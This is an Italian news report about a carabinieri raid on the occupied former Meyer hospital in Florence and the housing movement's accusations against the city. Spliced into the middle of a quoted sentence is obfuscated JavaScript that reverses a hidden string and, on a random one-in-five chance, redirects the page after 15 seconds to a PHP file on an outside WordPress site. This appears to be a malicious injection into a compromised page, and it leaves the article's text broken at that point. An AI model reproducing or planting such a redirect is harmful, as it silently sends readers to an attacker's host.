Al Meyer un blitz dei carabinieri. La reazione del Movimento di lotta per la casa

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L’occupazione del Meyer ha subito un pesante blitz dei carabinieri martedì scorso. Questo è quanto denuncia il Movimento di Lotta per la Casa, che oggi per protesta era in presidio davanti alla Regione. Secondo il loro comunicato, una cinquantina di carabinieri sono entrati nell’ex ospedale dopo il fermo di due giovani occupanti per possesso di stupefacenti. In cerca di altra droga, “spaccano porte, fanno perquisizioni senza m (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andati, offendono intere famiglie e richiedenti asilo… alla fine denunciano per invasione arbitraria 53 uomini e donne”.
Il Movimento individua in questa operazione una precisa strategia tesa ad ottenere un’ordinanza di sgombero da parte della magistratura, e accusa il Comune di Firenze di esserne il regista. Ribadisce anche che “le occupazioni sono il prodotto di un iniquo sistema di locazioni e di affitti a nero. Fa parte del gioco la possibilità di sgomberare gli stabili, ma costruire un clima di odio, inventare le peggiori abiure, usare il deterrente della violenza è inaccettabile”. Per sabato 10 ottobre a mezzogiorno è convocata una conferenza stampa presso lo stesso Meyer.

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